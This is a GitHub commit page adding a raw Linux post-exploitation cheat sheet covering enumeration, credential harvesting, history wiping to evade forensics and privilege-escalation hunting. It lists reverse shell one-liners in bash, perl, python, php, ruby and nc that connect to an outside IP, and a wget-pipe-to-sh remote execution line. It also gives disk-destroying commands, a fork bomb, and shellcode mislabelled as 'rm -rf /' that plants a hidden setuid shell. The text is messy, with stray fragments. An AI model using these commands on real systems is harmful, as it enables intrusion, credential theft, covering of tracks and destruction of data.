Skip to content

Commit d0b13c3

Browse files
WebBreacherWebBreacher
committed
Google doc content
1 parent 94f5be2 commit d0b13c3

File tree

1 file changed

+331
-0
lines changed

1 file changed

+331
-0
lines changed

‎linux/bulk.md

+331
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,331 @@
1+
2+
# Linux Google Doc Content #
3+
4+
The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance.
5+
6+
----
7+
8+
## System
9+
| Command | Description / Importance |
10+
| ------- | ------------------------ |
11+
| `uname -a` | Prints the kernel version, arch, sometimes distro, ... |
12+
| `ps aux` | List all running processes |
13+
| `top -n 1 -d` | Print process, 1 is a number of lines |
14+
| `id` | Your current username, groups |
15+
| `arch, uname -m` | Kernel processor architecture |
16+
| `w` | who is connected, uptime and load avg |
17+
| `who -a` | uptime, runlevel, tty, proceses etc. |
18+
| `gcc -v` | Returns the version of GCC. |
19+
| `mysql --version` | Returns the version of MySQL. |
20+
| `perl -v` | Returns the version of Perl. |
21+
| `ruby -v` | Returns the version of Ruby. |
22+
| `python --version` | Returns the version of Python. |
23+
| `df -k` | mounted fs, size, % use, dev and mount point |
24+
| `mount` | mounted fs |
25+
| `last -a` | Last users logged on |
26+
| `lastcomm` | |
27+
| `lastlog` | |
28+
| `lastlogin (BSD)` | |
29+
| `getenforce` | Get the status of SELinux (Enforcing, Permissive or Disabled) |
30+
| `dmesg` | Informations from the last system boot |
31+
| `lspci` | prints all PCI buses and devices |
32+
| `lsusb` | prints all USB buses and devices/h |
33+
| `lscpu` | prints CPU information |
34+
| `lshw` | |
35+
| `ex` | |
36+
| `cat /proc/cpuinfo` | |
37+
| `cat /proc/meminfo` | |
38+
| `du -h --max-depth=1 /` | (note: can cause heavy disk i/o) |
39+
| `which nmap` | locate a command (ie nmap or nc) |
40+
| `locate bin/nmap` | |
41+
| `locate bin/nc` | |
42+
| `jps -l` | |
43+
| `java -version` | Returns the version of Java. |
44+
45+
46+
47+
## Networking
48+
hostname -f
49+
ip addr show
50+
ip ro show
51+
ifconfig -a
52+
route -n
53+
cat /etc/network/interfaces
54+
iptables -L -n -v
55+
iptables -t nat -L -n -v
56+
ip6tables -L -n -v
57+
iptables-save
58+
netstat -anop
59+
netstat -r
60+
netstat -nltupw (root with raw sockets)
61+
arp -a
62+
lsof -nPi
63+
to resume it ? "cat /proc/net/*" (more discreet)
64+
what does the above mean? -> It means that all the information given by the above commands can be found by looking into the files under /proc/net , and that this approach is less likely to trigger monitoring or other stuff.
65+
User accounts
66+
local accounts: cat /etc/passwd
67+
password hashes in /etc/shadow on Linux
68+
password hashes in /etc/security/passwd on AIX
69+
groups in /etc/group (and/or /etc/gshadow on Linux)
70+
all accounts: getent passwd
71+
should dump local, LDAP, NIS, whatever the system is using
72+
same with getent group
73+
Samba's own database: pdbedit -L -w or pdbedit -L -v
74+
privileged accounts: cat
75+
(above: cat ???)
76+
mail aliases: cat /etc/aliases find /etc -name aliases, getent aliases
77+
NIS accounts: ypcat passwd - displays NIS password file
78+
79+
Credentials
80+
SSH keys, often passwordless: /home/*/.ssh/id*
81+
SSH agent:
82+
83+
Kerberos tickets: /tmp/krb5cc_*, /tmp/krb5.keytab
84+
PGP keys: /home/*/.gnupg/secring.gpgs
85+
86+
Configs
87+
ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/nullte
88+
cat /etc/issue{,.net}
89+
cat /etc/master.passwd
90+
cat /etc/group
91+
cat /etc/hosts
92+
cat /etc/crontab
93+
cat /etc/sysctl.conf
94+
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
95+
cat /etc/resolv.conf
96+
cat /etc/syslog.conf
97+
cat /etc/chttp.conf
98+
cat /etc/lighttpd.conf
99+
cat /etc/cups/cupsd.confcda
100+
cat /etc/inetd.conf
101+
cat /opt/lampp/etc/httpd.conf
102+
cat /etc/samba/smb.conf
103+
cat /etc/openldap/ldap.conf
104+
cat /etc/ldap/ldap.conf
105+
cat /etc/exports
106+
cat /etc/auto.master
107+
cat /etc/auto_master
108+
cat /etc/fstab
109+
find /etc/sysconfig/ -type f -exec cat {} \;
110+
111+
Determine Distro
112+
lsb_release -d # Generic command for all LSB distros
113+
/etc/os-release # Generic for distros using "systemd"
114+
/etc/issue # Generic but often modified
115+
cat /etc/*release
116+
/etc/SUSE-release # Novell SUSE
117+
/etc/redhat-release, /etc/redhat_version # Red Hat
118+
/etc/fedora-release # Fedora
119+
/etc/slackware-release, /etc/slackware-version # Slackware
120+
/etc/debian_release, /etc/debian_version # Debian
121+
/etc/mandrake-release # Mandrake
122+
/etc/sun-release # Sun JDS
123+
/etc/release # Solaris/Sparc
124+
/etc/gentoo-release # Gentoo
125+
/etc/arch-release # Arch Linux (file will be empty)
126+
arch # OpenBSD; sample: "OpenBSD.amd64"
127+
uname -a # often hints at it pretty well
128+
129+
Installed Packages
130+
rpm -qa --last | head
131+
yum list | grep installed
132+
Debian: dpkg -l
133+
dpkg -l | grep -i "linux-image"
134+
dpkg --get-selections
135+
{Free,Net}BSD: pkg_info
136+
Solaris: pkginfo
137+
Gentoo: # equery must be installed
138+
cd /var/db/pkg/ && ls -d */* # always works
139+
Arch Linux: pacman -Q
140+
141+
Package Sources
142+
cat /etc/apt/sources.list
143+
ls -l /etc/yum.repos.d/
144+
cat /etc/yum.conf
145+
146+
Finding Important Files
147+
ls -dlR */ #
148+
ls -alR | grep ^d
149+
find /var -type d
150+
ls -dl `find /var -type d`
151+
ls -dl `find /var -type d` | grep -v root
152+
find /var ! -user root -type d -ls
153+
find /var/log -type f -exec ls -la {} \;
154+
find / -perm -4000 (find all suid files)
155+
ls -alhtr /mnt
156+
ls -alhtr /media
157+
ls -alhtr /tmp
158+
ls -alhtr /home
159+
cd /home/; treels /home/*/.ssh/*
160+
find /home -type f -iname '.*history'
161+
ls -lart /etc/rc.d/
162+
locate tar | grep [.]tar$ # Remember to updatedb before running locate
163+
locate tgz | grep [.]tgz$
164+
locate sql | grep [.]sql$
165+
locate settings | grep [.]php$
166+
locate config.inc | grep [.]php$
167+
ls /home/*/id*
168+
.properties | grep [.]properties # java config files
169+
locate .xml | grep [.]xml # java/.net config files
170+
find /sbin /usr/sbin /opt /lib `echo $PATH | 'sed s/:/ /g'` -perm /6000 -ls # find suids
171+
locate rhosts
172+
Covering Your Tracks
173+
Avoiding history filesmys
174+
export HISTFILE=
175+
or
176+
unset HISTFILE
177+
This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out:
178+
179+
However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes.
180+
clear all history in ram
181+
history -c
182+
rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)
183+
touch ~/.bash_history (invasive)
184+
<space> history -c (using a space before a command)
185+
zsh% unset HISTFILE HISTSIZE
186+
tcsh% set history=0
187+
bash$ set +o history
188+
ksh$ unset HISTFILE
189+
find / -type f -exec {} (forensics nightmare)
190+
191+
Note that you're probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.
192+
193+
In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$'ing the shell. Sometimes the shell can be configured to run 'history -w' after every command; get around this by overriding 'history' with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however.
194+
Obtain users' information
195+
ls -alh /home/*/
196+
ls -alh /home/*/.ssh/
197+
cat /home/*/.ssh/authorized_keys
198+
cat /home/*/.ssh/known_hosts
199+
cat /home/*/.*hist* # you can learn a lot from this
200+
find /home/*/.vnc /home/*/.subversion -type f
201+
grep ^ssh /home/*/.*hist*
202+
grep ^telnet `/home/*/.*hist*
203+
grep ^mysql /home/*/.*hist*
204+
cat /home/*/.viminfo
205+
sudo -l # if sudoers is not. readable, this sometimes works per user
206+
crontab -l
207+
cat /home/*/.mysql_history
208+
209+
Escalating
210+
Looking for possible opened paths
211+
ls -alh /root/
212+
sudo -l
213+
cat /etc/sudoers
214+
cat /etc/shadow
215+
cat /etc/master.passwd # OpenBSD
216+
cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
217+
lsof -nPi
218+
ls /home/*/.ssh/*
219+
220+
Maintaining control
221+
Reverse Shell
222+
Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
223+
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.).
224+
perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
225+
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
226+
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
227+
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
228+
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
229+
xterm -display 10.0.0.1:1se
230+
Listener- Xnest :1
231+
Add permission to connect- xhost +victimIP
232+
ssh -NR 3333:localhost:22 user@yourhost
233+
nc -e /bin/sh 10.0.0.1 1234
234+
235+
Fun if Windows is present and accessible
236+
If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions read-write.
237+
TODO: insert details on what to look for
238+
239+
Stuff to be sorted
240+
## GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN
241+
242+
Command
243+
Output
244+
ps aux
245+
List of running processes
246+
id
247+
List current user and group along with user/group id
248+
w
249+
Show info about who is logged, what are they are doing
250+
who -a
251+
Print information about users
252+
cat /dev/core > /dev/audio
253+
254+
cat /dev/mem > /dev/audio
255+
Makes a sound from the memory content.
256+
Usefulness of this??? (none, aside from pissing off the sysadmin, in the very unlikely case that the server has speakers and the legacy OSS driver)
257+
sudo -p
258+
allows the user to define what the password prompt will be
259+
(useful for fun customization with aliases or shell scripts)
260+
Deleting and Destroying
261+
(If it is necessary to leave the machine inaccessible or unusable)
262+
Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles.
263+
264+
Oh, and you're probably a jerk if you use any of the stuff below.
265+
Command
266+
Description
267+
rm -rf /
268+
This will recursively try to delete all files.
269+
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
270+
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
271+
272+
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
273+
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
274+
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
275+
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
276+
"\x6e\x2f\x73\x68\x00\x2d\x63\x00?
277+
"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
278+
Hex version of rm -rf /
279+
How is this supposed to work?
280+
281+
282+
mkfs.ext3 /dev/sda
283+
Reformat the device mentioned, making recovery of files hard.
284+
dd if=/dev/zero of=/dev/sda bs=1M
285+
Overwrite disk /dev/sda with zeros
286+
Execute a remote script
287+
288+
wget http://server/file.sh -O- | sh
289+
This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit
290+
Fork Bomb
291+
:(){:|:&};:
292+
293+
294+
The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb.
295+
296+
297+
Stolen from: http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf
298+
World
299+
writable
300+
directories
301+
302+
303+
Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to /etc. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: .profile,
304+
.bash_profile, .bashrc...
305+
find / \( -wholename
306+
'/home/homedir/*' -prune \) -o \
307+
( -type d -perm -0002 \) -exec
308+
ls -ld '{}' ';' 2>/dev/null
309+
310+
311+
World
312+
writable files
313+
What if /etc/passwd would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be
314+
true, it really makes sense to search for world writable files outside your own territory (= your home directory).
315+
find / \( -wholename
316+
'/home/homedir/*' -prune -o
317+
-wholename '/proc/*' -prune \)
318+
-o \( -type f -perm -0002 \)
319+
-exec ls -l '{}' ';' 2>/dev/null
320+
Logfiles
321+
Sometimes a security unaware administrator chmods a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as
322+
passwords or other important information.
323+
find /var/log -type f -perm
324+
-0004 2>/dev/null
325+
Setuid / setgid files
326+
We already examined fully why setuid and setgid files are worth to be double checked. Such a file owned by root and susceptible for attacks is a big weakness.
327+
find / \( -type f -or -type d \)
328+
-perm -6000 2>/dev/null
329+
330+
331+

0 commit comments

Comments
 (0)